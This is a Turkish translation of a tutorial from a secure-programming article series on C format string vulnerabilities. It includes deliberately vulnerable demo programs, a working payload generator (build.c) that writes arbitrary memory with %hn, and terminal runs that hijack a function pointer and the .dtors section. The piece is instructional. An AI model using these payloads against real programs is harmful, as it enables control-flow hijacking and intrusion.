4. Bölüm - Uygulama geliştirme sırasında güvenlik açıklarından kaçınmak.

ArticleCategory:

AuthorImage:

TranslationInfo:

Original in fr Frédéric Raynal, Christophe Blaess, Christophe Grenier

fr to en:Frédéric

en to en:Lorne Bailey

en to tr:Erdal MUTLU

AboutTheAuthor:

Christophe Blaess bağımsız bir aeronotic mühendisidir. Kendisi Linux hayranıdır ve ilşrerinin birçoğunu Linux altında yapmaktadır. Linux Kaynakyazılandırım Projesi (Linux Documentatiın Project) tarafından yayımlanan man sayfalarının çevirilmesini yönetmektedir.

Christophe Grenier ESIEA'da öğrenci olarak 5. yılındadır ve aynı zamanda burada sistem yöneticiliği yapmaktadır. Bilgisayar güvenliği konusunda özel merakı vardır.

Frédéric Raynal, çevreyi kirletmediği, hormon kullanılmadığı, MSG veya hayvansal malzemeler kullanılmadığı ve sadece tatlıdan oluştuğu için Linux işletim sistemini yıllardır kullanmaktadır.

Abstract

ArticleIllustration:[illustration]

ArticleBody:[The real article: put the text and html-codes here]

Tehlike bunun neresinde ?

Güvenlik açıklarının birçoğu kötü yapılmış yapılandırmalardan veya tembellikten dolayı ortaya çıkmaktadır. Bu yargı katarların biçimlendirilmesi için de geçerlidir.

Genellikle program içerisinde null ile sonlandırlmış katarlarların kullanımına gereksinim vardır. Bunun program içerisindeki yeri önemli değildir. Sorun belleğe douğrudan yapılan yazma işleminden kaynaklanmaktadır. Saldırı, stdin, dosyalar ve benzeri yerlerden gelebilir. Tekbir komut yeterli olmaktadır:

Bunun yanında programcı, altı byte ve zamandan kazanmak isteyebilir ve :

yazabilir. Aklında sadece "ekonomi" vardı, ancak programcı kendi programında olası bir güvenlik açığı yaratmış olur. Ekranda görüntülenmek üzere tek parametre kullandığı için programcı memnun. Ancak, karakter katarı içerisinde (%d, %g...) gibi biçimlendirme işaretlerine karşı incelenecektir. Eğer, böyle bir işaret bulunursa, buna karşı gelen parametre, yığıt üzerinde aranacaktır.

İşe printf() fonksiyonları ailesini tanıtmakla başlayacağız. Ayrıntılı olarak olmasa da herkes en azından bu fonksiyonları tanıyor. Biz bu fonksiyonların az bilinen yönleri ile ilgileneceğiz. Daha sonra böyle bir hatadan yararlanmanın bilgisini de vereceğiz. Sonunda, bütün bu anlatılanları bir örnek üzerinde göstereceğiz.

Katar biçimlendirilmesine derin bir bakış

printf() : onlar bana yalan söyledi !

Hepimizin bildiği ve programlama kitaplarında yer alan C'de giriş/çıkış fonksiyonlarının birçoğu verileri biçimlendirilmiş olarak işlemektedir. Bunun anlamı, verileri işlemek için sadece verinin kendisini değil, aynı zamanda nasıl gösterileceğini de belirtmek gerekmektedir. Aşağıdaki program bu konuyu göstermektedir :

/* display.c */
#include <stdio.h>

main() {
  int i = 64;
  char a = 'a';
  printf("int  : %d %d\n", i, a);
  printf("char : %c %c\n", i, a);
}

>>gcc display.c -o display
>>./display
int  : 64 97
char : @ a

Şimdiye kadar yeni bir şey yok. Herşey printf ve benzeri fonksiyonlarının sahip oldukalrı tanımlamaya uygundur :

1. Seçilen biçimi, karakter katarı biçimindeki tek parametre (const char *format) belirlemektedir;
2. Önceki katarda belirtilen işaretlere göre biçimlendirilecek bir veya birden fazla parametre, değişkenler aracılığı ile belirtilebir.

Genelde, biçimlendirme işaretlerinin bir listesi (%g, %h, %x ve . sayılardaki duyarlılığı belirttiyor) verildikten sonra bu konudaki birçok programlama dersi burada sona ermektedir. Ama hiç konuşulmayan birşey daha vardır : %n. printf() fonksiyonunun man sayfasında bununla ilgili şunlar yazmaktadır :

Sadece bir görüntüleme fonksiyonu olmasına rağmen, bu parametre bir işaretçi değişkene yazılmasını sağlamaktadır. Makalenin en önemli kısmı budur!

Devam etmeden önce, bu biçimlendirme şekli scanf() ve syslog() ailesinden olan fonksiyonlar için de geçerli olduğunu söylemek gerekir.

Oyun zamanı

Bu biçimlendirme şeklinin özelliklerini küçük örnek programlar aracılıyla inceleyeceğiz. Örneklerden ilki olan printf1 çok basit bir kullanımı göstermektedir :

/* printf1.c */
1: #include <stdio.h>
2: 
3: main() {
4:   char *buf = "0123456789";
5:   int n;
6:   
7:   printf("%s%n\n", buf, &n);
8:   printf("n = %d\n", n);
9: }

İlk printf() fonksiyonu 10 karakterden oluşan bir katarı ekrana yazmaktadır. %n biçimlendirme işareti sayesinde, bu değer n değişkenine yaziılmaktadır. Programı derleyip, çalıştırırsak :

>>gcc printf1.c -o printf1
>>./printf1 
0123456789
n = 10

7:   printf("buf=%s%n\n", buf, &n);

Bu program çalıştırıldığında düşüncemiz doğrulanmaktadır : n değişkeni artık 14 (10 karakter buf den ve 4 karakter de biçimlendirme katarından "buf=") tür.

Demek ki %n, biçimlendirme katarında yer alan tüm karakterleri saymaktadır. printf2 programında da göreceğimiz gibi, daha da fazlasını saymaktadır :

/* printf2.c */

#include <stdio.h>

main() {
  char buf[10];
  int n, x = 0;
  
  snprintf(buf, sizeof buf, "%.100d%n", x, &n);
  printf("l = %d\n", strlen(buf));
  printf("n = %d\n", n);
}

>>gcc printf2.c -o printf2
>>./printf2
l = 9
n = 100

Gerçekte ne oldu? Olan şu, biçimlendirme katarı önce genişletildi, sonra boyutu kadarı alındı (kesildi) ve hedef bellek alanına kopyalandı:

/* printf3.c */

#include <stdio.h>

main() {
  char buf[5];
  int n, x = 1234;

  snprintf(buf, sizeof buf, "%.5d%n", x, &n);
  printf("l = %d\n", strlen(buf));
  printf("n = %d\n", n);
  printf("buf = [%s] (%d)\n", buf, sizeof buf);
}

• katar için ayrılan bellek boyutu 5 byte'a düşürüldü;
• biçimlendirme katarındaki duyarlılık 5 olarak ayarlandı;
• katarın içeriği sonunda gösterimektedir.

>>gcc printf3.c -o printf3
>>./printf3
l = 4
n = 5
buf = [0123] (5)

1. Biçimlendirme katarındaki komutlara ¹ göre "00000\0" katarı oluşturmuştur;
2. Değişkenler olması gereken yerlerde, bunu örneğimizdeki x değişkeninin değerinin kopyalanması göstermektedir. Bunun sonucunda katar, "01234\0" şeklinde görünmektedir;
3. Son olarak bu katardan sizeof buf - 1 byte² lık kısım hedef buf katarına kopyalanmış ve "0123\0" elde edilmiştir.

Bu bölümü bitirmeden önce, aynı sonuçları biçimlendirme şeklini biraz değiştirerek de elde etmenin mümkün olduğunu söylemek gerekir. Daha önce, duyarlılık ('.' nokta) denilen biçimlendirmeden faydalanmıştık. Benzer sonuçları : 0n ile elde etmek mümkündür. Buradaki, n sayısı, katar genişliğini, 0 ise, katarın alabileceği kapasite doldurulmadıysa, geriye kalan kısımları boşluklarla tamamlanması için konulmuştur.

Artık katar biçimlendirmeleri konusunda hemen hemen herşeyi, özellikle de %n konusunda, öğrendiğinize göre şimdi bunların davranışlarını inceleyeceğiz.

Yığıt ve printf()

Yığıt üzerinde yürümek

Şimdiki program, printf() fonksiyonu ile yığıt arasındaki ilişkinin ne olduğunu öğrenmede bize rehberlik edecektir :

/* stack.c */
 1: #include <stdio.h>
 2: 
 3: int
 4  main(int argc, char **argv)
 5: {
 6:   int i = 1;
 7:   char buffer[64];
 8:   char tmp[] = "\x01\x02\x03";
 9:
10:   snprintf(buffer, sizeof buffer, argv[1]);
11:   buffer[sizeof (buffer) - 1] = 0;
12:   printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
13:   printf ("i = %d (%p)\n", i, &i);
14: }

>>gcc stack.c -o stack
>>./stack toto
buffer : [toto] (4)
i = 1 (bffff674)

Fig. 1 : snprintf() fonksiyonunu çağırmadan önce yığıtın durumu.

1 çizimi, snprintf() fonksiyonunu çağırmadan önceki yığıtın durumunu göstermektedir (bunun doğru olmadığını göreceğız...). Bu çizim sadece olanlar hakkında bir fikir vermek için hazırlanmıştır. %ebp registerin altında bir yerde bulunan %esp registerini dikkate almayacağız. Daha önceki makaleden hatırlanacağı üzere, %ebp ve %ebp+4'de bulunan ilk değer, sırasıyla %ebp ve %ebp+4'ün yedekleridir. Daha sonra snprintf() fonksiyonunun parametreleri gelmektedir :

1. hedef adres değeri;
2. kopyalanacak karakter sayısı;
3. veri olarak iş gören, argv[1] biçimlendirme katarının adresi gelmektedir.

argv[1] katarı aynı zamanda hem biçimlendirme ve hemde veri olarak kullanılmaktadır. snprintf() fonksiyonunun normal sırasına göre biçimlendrime katarı yerine argv[1] gözükmektedir. Biçimlendirme katarını, biçimlendirme işaretleri olmadan da kullanabileceğimize göre (sadece metin gibi) herşey yolunda demektir :)

Peki, argv[1] içerisinde biçimlendirme işaratleri olduğunda acaba ne olmaktadır? Normalde, snprintf() foksiyonu onları olduğu gibi değerlendirmektedir, başka türlü olması için bir neden yoktur! Ancak, burada biçimlendirme için, hangi parametrelerin veri olarak kullanılacağını merak edebiliriz. Gerçekte snprintf() fonksiyonu gerekli verileri, yığıttan almaktadır! Bunun böyle olduğunu, stack programından görebilirsiniz :

>>./stack "123 %x"
buffer : [123 30201] (9)
i = 1 (bffff674)

İlk önce "123 " katarı buffer üzerine kopyalanmaktadır. %x ifadesi, ilk parametreyi çevirmesi için snprintf() fonksiyonundan istekte bulunmaktadır. 1 çiziminden de anlaşılacağı üzere, ilk parametre \x01\x02\x03\x00 değerine sahip olan tmp değişkeninden başkası değildir. x86 işlemcimizin küçük indian mimarisine göre bu katarın 16'lık sayı tabanına göre değeri 0x00030201 olmaktadır.

>>./stack "123 %x %x"
buffer : [123 30201 20333231] (18)
i = 1 (bffff674)

İkinci bir %x eklenmesiyle, yığıt üzerinde daha da yukarıya ulaşabiliriz. Bu snprintf() fonksiyonuna daha sonraki 4 byte'a bakmasını söylemektedir. Gerçekte bu 4 byte buffer değişkeninin 4 byte dır. buffer değişkeni, "123 " katarını içermektedir, 16'lık sayı tabanına göre bu değer 0x20333231 (0x20=boşluk, 0x31='1'...) dir. Dolayısıyla her %x için, snprintf() fonksiyonu yığıt üzerinde bulunan buffer değişkeninin 4 byte'ına (4 byte olmasının nedeni, x86 işlemcisi unsigned int için 4 byte ayırmaktadır) daha ulaşmaktadır. Bu değişken iki işlevi yerine getirmektedir:

1. hedefe yazmak;
2. biçimlendirme için giriş aygıtından veri okumak.

>>./stack "%#010x %#010x %#010x %#010x %#010x %#010x"
buffer : [0x00030201 0x30307830 0x32303330 0x30203130 0x33303378 
         0x333837] (63)
i = 1 (bffff654)

Hatta daha yukarıya

Parametreler arasında yerdeğiştirme gerektiği durumda (sözgelimi tarih ve saat bilgilerini göstermek gerektiğinde) uygun biçimlendirme ifadesini bulmak mümkündür. Biz, % işaretinin hemen ardına m >0 bir tamsayı olmak üzere m$ ifadesini ekledik. Bu bize, parametre listesinde kullanılacak değişkenin yerini (1'den başlamak üzere) vermektedir :

/* explore.c */
#include <stdio.h>

  int
main(int argc, char **argv) {

  char buf[12];

  memset(buf, 0, 12);
  snprintf(buf, 12, argv[1]);

  printf("[%s] (%d)\n", buf, strlen(buf));
}

m$ biçimlendirme ifadesi sayesinde, yığıt üzerinde, gdb ile yapabildiğimiz gibi istediğimiz yere gidebiliyoruz :

>>./explore %1\$x
[0] (1)
>>./explore %2\$x
[0] (1)
>>./explore %3\$x
[0] (1)
>>./explore %4\$x
[bffff698] (8)
>>./explore %5\$x
[1429cb] (6)
>>./explore %6\$x
[2] (1)
>>./explore %7\$x
[bffff6c4] (8)

Buradaki \ karakteri, kabuk programının $ karakterini başka türlü yorumlamasını önlemek amacıyla konulmaktadır. İlk üç çalıştırmada, buf değişkeninin içeriğini elde ettik. %4\$x ifadesiyle, %ebp registerında yedeklenmiş değeri ve %5\$x ifadesiyle, %eip register üzerine yedeklenmiş değeri (dönüş adresleri) elde ettik. Son iki çalıştırmada ise, argc değişkeninin değerini ve *argv de yer alan adres değerini (unutmayın ki **argv ifadesi, *argv'nin değerleri adresler olan bir dizidir) elde ettik.

Kısaca ...

Bu örnekte de görüldüğü gibi, verilen biçimlendirme ifadelerine göre yığıt üzerinde bilgi arayabilir, adresler bulabiliriz vs. Aynı zamanda, bu makalenin başında gördük ki printf() ailesinden olan fonksiyonlar yardımıyla buralara yzabiliriz. Bu size de bir potansiyel güvenlik açığı olarak görünmüyor mu?

İlk adımlar

stack programına geri dönelim:

>>perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"'
buffer : [döÿ¿000000000000000000000000000000000000000000000000
00000000000] (63)
i = 500 (bffff664)
	

1. i değişkeninin adresinini;
2. (%.496x) biçimlendirme ifadesini;
3. (%n) ifadesini, verilen adrese yazmak için veriyoruz.

snprintf(buffer,
         sizeof buffer,
         "\x64\xf6\xff\xbf%.496x%n",
         tmp,
         katardaki 4  byte);

i adresini içeren ilk dört byte, buffer katarının başına yazılmaktadır. %.496x biçimlendirme ifadesi, yığıtın başında bulunan tmp değişkeninden kurtulmamızı sağlamaktadır. Ondan sonra %n biçimlendirme ifadesi verildiğinde, artık i değişkeninin adresi buffer katarının başında yer alacaktır. 496 byte'lık duyarlılığa sahip olmamız gerekirken, snprintf fonksiyonu maksimum 60 byte yazmaktadır (çünkü, katarın boyutu 64'tür ve 4 byte zaten yazılmıştı). 496 rakamı rastgele oluşmuştur ve sadece "byte sayacını" ayarlamak amacıyla kullanılmaktadır. %n ifadesinin kendisinden önce yazılmış byte sayısını elde etmekte kullanıldığını daha önce görmüştük. Buradan elde edilen değer 496 dır ve biz buna buffer başında bulunan i değişkeninin 4 byte'lık adres değerini eklememiz gerekmektedir. Sonuçta 500 elde edilmektedir. Bu değer, yığıt üzerinde sonraki adrese, i değişkeninin adresine, yazmamızı sağlayacaktır.

Bu örnekten hareketle daha da ileriye gidebiliriz. i'yi değiştirmek için, onun adresine sahip olmamız gerekmektedir... Ama bazen programın kendisi bize bu bilgiyi vermektedir :

/* swap.c */
#include <stdio.h>

main(int argc, char **argv) {

  int cpt1 = 0;
  int cpt2 = 0;
  int addr_cpt1 = &cpt1;
  int addr_cpt2 = &cpt2;

  printf(argv[1]);
  printf("\ncpt1 = %d\n", cpt1);
  printf("cpt2 = %d\n", cpt2);
}

Bu programı çalışması, yığıtı istediğimiz (hemen hemen) gibi kullanabileceğimizi göstermektedir:

>>./swap AAAA
AAAA
cpt1 = 0
cpt2 = 0
>>./swap AAAA%1\$n
AAAA
cpt1 = 0
cpt2 = 4
>>./swap AAAA%2\$n
AAAA
cpt1 = 4
cpt2 = 0

Görüldüğü gibi, parametrenin değerine göre, cpt1 veya cpt2 değişkeninin değerini değiştirebiliyoruz. %n biçimlendirme ifadesi parametre olarak adres istemektedir, bu nedenledir ki biz değişkenleri doğrudan (%3$n (cpt2) veya %4$n (cpt1) kullanarak) değiştiremiyoruz. Bunu ancak, işaretçiler kullanarak yapabiliyoruz. Bu da bize, üzerinden bir sürü değişiklik yapabileceğimiz "yeni malzeme" vermektedir.

Aynı konudaki farklılıklar

stuff programı farklılıkları ortaya çıkartmaktadır:

/* stuff.c */
#include <stdio.h>

main(int argc, char **argv) {
  
  char aaa[] = "AAA";
  char buffer[64];
  char bbb[] = "BBB";

  if (argc < 2) {
    printf("Usage : %s <format>\n",argv[0]);
    exit (-1);
  }

  memset(buffer, 0, sizeof buffer);
  snprintf(buffer, sizeof buffer, argv[1]);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));
}

aaa ve bbb dizileri, yığıt üzerindeki gezintimiz sırasında ayraç olarak görev yapmaktadır. Dolayısıyla, 424242 bulduğumuz anda, ondan sonra gelen byte'lar buffer değişkeninin bilgileri olacaktır. 1 tablosunda, glibc'nin ve derleyicilerinin farklı sürümlerinde elde edilmiş değerleri görmekteyiz.

Makalenin geri kalanında biz egcs-2.91.66 ve glibc-2.1.3-22 kullanacağız, eğer siz kendi bilgisayarınızda başka sonuçlar elde edersiniz, hiç şaşırmayın.

Biçimlendirme açığını kullanmak

Katar taşmalarını kullanırken, dönüş değeri üzerine yazabilmek için bir katardan faydalanmıştık.

Biçimlendirme katarları durumunda ise, her yere (yığıt, heap, bss, .dtors, ...) gidebileceğimizi gördük, sadece nerey ve ne yazacağımıza karar vermemiz yeterli, geriye kalan işi %n yerine getirecektir.

Tehlikeli (vulnerable) program

/* vuln.c */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int helloWorld();
int accessForbidden();

int vuln(const char *format)
{
  char buffer[128];
  int (*ptrf)();

  memset(buffer, 0, sizeof(buffer));

  printf("helloWorld() = %p\n", helloWorld);
  printf("accessForbidden() = %p\n\n", accessForbidden);

  ptrf = helloWorld;
  printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);
  
  snprintf(buffer, sizeof buffer, format);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));

  printf("after : ptrf() = %p (%p)\n", ptrf, &ptrf);

  return ptrf();
}

int main(int argc, char **argv) {
  int i;
  if (argc <= 1) {
    fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
    exit(-1);
  }
  for(i=0;i<argc;i++)
    printf("%d %p\n",i,argv[i]);
  
  exit(vuln(argv[1]));
}

int helloWorld()
{
  printf("Welcome in \"helloWorld\"\n");
  fflush(stdout);
  return 0;
}

int accessForbidden()
{
  printf("You shouldn't be here \"accesForbidden\"\n");
  fflush(stdout);
  return 0;
}

ptrf adında ve fonksiyon işaretçisi olan bir değişken tanımladık. Bu değişkenin değerini, çalıştırmak istediğimiz fonksiyonu gösterecek şekilde değiştireceğiz.

İlk örnek

İlk önce, buffer değişkenin başlangıcı ile yığıt arasındaki uzaklığı bulmamız gerekiyor :

>>./vuln "AAAA %x %x %x %x"
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37)
after : ptrf() = 0x8048634 (0xbffff5d4)
Welcome in "helloWorld"

>>./vuln AAAA%3\$x
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5e4)
buffer = [AAAA41414141] (12)
after : ptrf() = 0x8048634 (0xbffff5e4)
Welcome in "helloWorld"

Programı ilk çalıştırdığımızda istediğimizi elde ediyoruz : buffer değikeninden bizi 3 kelime (x86 işlemcilerinde bir kelime = 4 byte dır) ayırmaktadır. Bunun gerçekte böyle olduğunu programı AAAA%3\$x parametresini vererek ikinci defa çalıştırdığımızda anlıyoruz.

Amacımız, ptrf değişkenin başlangıçta işaret ettiği 0x8048634 (helloWorld() fonksiyonunun adresi) adresinden, 0x8048654 (accessForbidden() fonksiyonunun adresi) adresini gösterecek şekilde değiştirmektir. Bunun için 0x8048654 byte (16'lık tabana göre, bu yaklaşık 128 MB dır), yazmamız gerekecektir. Tüm bilgisayarlar bu kadar belleğe sahip olmayabilirler, ama bizim bilgisayarda bu kadar bellek var:) 350 MHz'lik iki işlemcili Pentium olan bilgisayarımızda bu işlem 20 saniye sürdü :

>>./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n `
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [Ôõÿ¿000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000
0000000000000] (127)
after : ptrf() = 0x8048654 (0xbffff5d4)
You shouldn't be here "accesForbidden"

Biz ne yaptık? Yaptığımız şey sadece ptrf (0xbffff5d4) adresini sağlamak oldu. Sonraki biçimlendirme ifadesi (%.134514256x) yığıt üzerindeki 134514256 byte ötede bulunan ilk kelimeyi (ptrf değişkenininden itibaren 4 byte zaten yazmıştık, dolayısıyla geriye 134514260-4=134514256 byte kalıyor) okumaktadır. Sonunda, istediğimiz değeri, verilmiş olan adrese (%3$n) yazmış olduk.

Bellek sorunları: böl ve kazan

Ancak, daha önce de söylediğimiz gibi, 128 MB'lık bellek kullanmak herzaman mümkün değildir. %n biçimlendirme ifadesinin, 4 byte'lık bir tamsayı değişkenini gösterecek bir işaretçiye ihtiyacı vardır. %hn biçimlendirme ifadesi sayesinde bunu, short int - 2 byte'lık bir işaretçi kullanacak şekilde değiştirebiliyoruz. Dolayısıyla yazmak istediğimiz tam sayı değerini iki bölüme ayırmış oluyoruz. Yazılabilecek en büyük kısım artık, 0xffff byte'a (65535 byte) sığmaktadır. Böylece, önceki örnekte yer alan "0xbffff5d4 adresi üzerine 0x8048654" yazma işlemini, iki ardışık işlem haline getiriyoruz :

• 0x8654 değerini 0xbffff5d4 adresine yazmak
• 0x0804 değerini 0xbffff5d4+2=0xbffff5d6 adresine yazmak

Ancak, %n (veya %hn) ifadesi, katar üzerine yazılan toplam karakter sayısını saymaktadır. Bu sayı sadece artabilmektedir. İlk önce, ikisi arasındaki en küçük değeri yazmamız gerekir. Ondan sonra, ikinci biçimlendirme ifadesi, duyarlılık olarak yazılan ilk sayı ile gerekli sayı arasındaki farkı kullanacaktır. Sözgelimi, bizim örnekte, ilk biçimlendirme işlemi %.2052x (2052 = 0x0804) ve ikincisi %.32336x (32336 = 0x8654 - 0x0804) olmalıdır. Hemen arkadan yazılan her %hn ifadesi, byte sayısını doğru olarak hesaplayacaktır.

Bizim sadece %hn ifadelerini nereye yazacağımızı belirlememiz gerekecektir. Bunun için, m$ ifadesi bize yardımcı olacaktır. Eğer, adresleri katarın başına kaydedersek, m$ ifadesinin yardımıyla yığıt üzerinde hareket ederek, gerekli uzaklığı bulabiliriz. Ondan sonra iki adres de m ve m+1 uzaklıkta olacaktır. Katarın ilk 8 byte'ına üzerine yazılacak adres değerini kaydettiğimiz için, ilk yazılan değerden 8 çıkartmak gerekecektir.

Biçimlendirme katarı aşağıdaki gibi olamaktadır:

Biçimlendirme katarını oluşturmak için, build programı üç parametre kullanmaktadır:

1. değiştirilecek (üzerine yazılacak) adres;
2. oraya yazılacak değer;
3. katar başından itibaren olan uzaklık (kelime olarak).

/* build.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

/**
   Yazılacak 4 byte şu şekilde yerleştirilmektedir :
   HH HH LL LL
   "*h" ile biten değişkenler kelimenin üst kısmını göstermektedir (H).
   "*l" ile biten değişkenler kelimenin alt kısmını göstermektedir (L).
 */
char* build(unsigned int addr, unsigned int value, 
      unsigned int where) {

  /* doğru değeri bulabilmek için oldukça tembel... :*/
  unsigned int length = 128; 
  unsigned int valh;
  unsigned int vall;
  unsigned char b0 = (addr >> 24) & 0xff;
  unsigned char b1 = (addr >> 16) & 0xff;
  unsigned char b2 = (addr >>  8) & 0xff;
  unsigned char b3 = (addr      ) & 0xff;

  char *buf;

  /* değeri ayrıntılandırma */
  valh = (value >> 16) & 0xffff; //üst
  vall = value & 0xffff;         //alt

  fprintf(stderr, "adr : %d (%x)\n", addr, addr);
  fprintf(stderr, "val : %d (%x)\n", value, value);
  fprintf(stderr, "valh: %d (%.4x)\n", valh, valh);
  fprintf(stderr, "vall: %d (%.4x)\n", vall, vall);

  /* katar için bellek ayırımı */
  if ( ! (buf = (char *)malloc(length*sizeof(char))) ) {
    fprintf(stderr, "Can't allocate buffer (%d)\n", length);
    exit(EXIT_FAILURE);
  }
  memset(buf, 0, length);

  /* şimdi oluşturalım */
  if (valh < vall) {

    snprintf(buf,
         length,
         "%c%c%c%c"           /* üst adres */
         "%c%c%c%c"           /* alt adres */

         "%%.%hdx"            /* ilk %hn için değeri yerleştirme*/
         "%%%d$hn"            /* %hn üst kısım için */

         "%%.%hdx"            /* ikinci %hn için değeri yerleştirme */
         "%%%d$hn"            /* %hn alt kısım için */         
         ,
         b3+2, b2, b1, b0,    /* üst adres */
         b3, b2, b1, b0,      /* alt adres */

         valh-8,              /* ilk %hn için değeri yerleştirme */  
         where,               /* %hn üst kısım için */        
                                                         
         vall-valh,           /* ikinci %hn için değeri yerleştirme */ 
         where+1              /* %hn alt kısım için */               
         );
         
  } else {

     snprintf(buf,
         length,
         "%c%c%c%c"           /* üst adres */
         "%c%c%c%c"           /* alt adres */

         "%%.%hdx"            /* ilk %hn için değeri yerleştirme */    
         "%%%d$hn"            /* %hn üst kısım için */          
                                                           
         "%%.%hdx"            /* ikinci %hn için değeri yerleştirme */   
         "%%%d$hn"            /* %hn alt kısım için */
         ,                                                     
         b3+2, b2, b1, b0,    /* üst adres */                       
         b3, b2, b1, b0,      /* alt adres */                        
                                                           
         vall-8,              /* ilk %hn için değeri yerleştirme */    
         where+1,             /* %hn üst kısım için */          
                                                           
         valh-vall,           /* ikinci %hn için değeri yerleştirme */   
         where                /* %hn alt kısım için */
         );
  }
  return buf;
}

int
main(int argc, char **argv) {

  char *buf;

  if (argc < 3)
    return EXIT_FAILURE;
  buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
          strtoul(argv[2], NULL, 16),  /* valeur */
          atoi(argv[3]));              /* offset */
  
  fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
  printf("%s",  buf);
  return EXIT_SUCCESS;
}

Yazılacak değerin kelimenin üst veya alt tarafına yazılmasına göre parametrelerin yeri değişmektedir. Herhangi bellek sorunu yaşamadan önce yaptığımız bir deneyelim.

Basit örneğimiz bize, ilk önce uzaklığın tahmin edilmesinde yardımcı olmaktadır:

>>./vuln AAAA%3\$x
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5d4)
buffer = [AAAA41414141] (12)
after : ptrf() = 0x8048644 (0xbffff5d4)
Welcome in "helloWorld"

Değer herzaman aynı : 3. Programı olanları göstermesi için yazdığımıza göre ptrf ve accesForbidden() için gerekli olan bilgilere sahip oluyoruz. Katarımızı buna göre oluşturabiliriz:

>>./vuln `./build 0xbffff5d4 0x8048664 3` 
adr : -1073744428 (bffff5d4)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[Öõÿ¿Ôõÿ¿%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5b4)
buffer = [Öõÿ¿Ôõÿ¿00000000000000000000d000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000
00000000] (127)
after : ptrf() = 0x8048644 (0xbffff5b4)
Welcome in "helloWorld"

>>./vuln `./build 0xbffff5b4 0x8048664 3`
adr : -1073744460 (bffff5b4)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[¶õÿ¿´õÿ¿%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5b4)
buffer = [¶õÿ¿´õÿ¿0000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
0000000000000000] (127)
after : ptrf() = 0x8048664 (0xbffff5b4)
You shouldn't be here "accesForbidden"

Diğer kullanım şekilleri

Biçimlendirme hataları sayesinde istediğimiz yere yazmamızın mümkün olduğun görmüştük. Şimdi, .dtors bölümü ile ilgili bir kullanım göreceğiz.

gcc ile derlenen programlarda .ctors adında bir yaratma ve bir de .dtors adında yoketme bölümü yaratılmaktadır. Her iki bölümde de sırasıyla main() fonksiyonuna girişte ve çıkışta çalıştırılacak fonksiyonlar için işaretçiler bulunmaktadır.

/* cdtors */

void start(void) __attribute__ ((constructor));
void end(void) __attribute__ ((destructor));

int main() {
  printf("in main()\n");
}

void start(void) {
  printf("in start()\n");
}

void end(void) {
  printf("in end()\n");
}

>>gcc cdtors.c -o cdtors
>>./cdtors
in start()
in main()
in end()

>>objdump -s -j .ctors cdtors

cdtors:     file format elf32-i386

.ctors bölümünün içeriği:
 804949c ffffffff dc830408 00000000           ............    
>>objdump -s -j .dtors cdtors

cdtors:     file format elf32-i386

.dtors bölümünün içeriği:
 80494a8 ffffffff f0830408 00000000           ............    

>>objdump -t cdtors | egrep "start|end"
080483dc g     F .text  00000012              start
080483f0 g     F .text  00000012              end

Şimdi bunu vuln programı üzerine bir uygulayalım. İlk önce bu bölümlerin bellekteki yerlerini bulmamız gerekecektir. İkili (binary) program elinizde olduğunda bunu yapmak gerçekten çok kolay ;-) Daha önce de olduğu gibi sadece objdump kullanın:

>> objdump -s -j .dtors vuln

vuln:     file format elf32-i386

.dtors bölümünün içeriği:
 8049844 ffffffff 00000000                    ........        

Bu kullanımının amacı, iki bölümden birinde bulunan adres değerini çalıştırmak istediğimiz fonksiyonun adresi ile değiştirmektedir. Eğer, bu bçlümler boş ise, o zaman bölümün sonunu belirten 0x00000000 değerini değiştirmemiz yeterli olacaktır. Program, 0x00000000 değerini bulamayacağı için bir sonraki adres değerini alacaktır, ki bu büyük bir olasılıkla yanlış olacaktır ve segmentation fault (bölümlendirme hatası) almamızı sağlayacaktır.

Gerçekte, tek ilginç olan bölüm yoketme (.dtors) bölümüdür. Çünkü yaratma (.ctors) fonkisyonundan önce bir şey çalıştıracak zamanımız yoktur. Genelde, başlangıç (0xffffffff) adresinden 4 byte sonra bulunan adresi değiştirmek yeterli olacaktır:

• Eğer, orada hiçbir adres değeri yoksa, 0x00000000 değerini değiştireceğiz;
• Bunun dışında ilk çalıştırılacak fonksiyon bizim fonksiyonumuz olacaktır.

Örneğimize geri dönelim ve .dtors bölümündeki 0x8049848=0x8049844+4 adresinde bulunan 0x00000000 değeri, adresi 0x8048664 olan accesForbidden() fonksiyonunun adresi ile değiştirelim:

>./vuln `./build 0x8049848 0x8048664 3`
adr : 134518856 (8049848)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[JH%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = bffff694 (0xbffff51c)
helloWorld() = 0x8048648
accessForbidden() = 0x8048664

before : ptrf() = 0x8048648 (0xbffff434)
buffer = [JH0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000] (127)
after : ptrf() = 0x8048648 (0xbffff434)
Welcome in "helloWorld"
You shouldn't be here "accesForbidden"
Segmentation fault (core dumped)

Lütfen bana kabuk ver

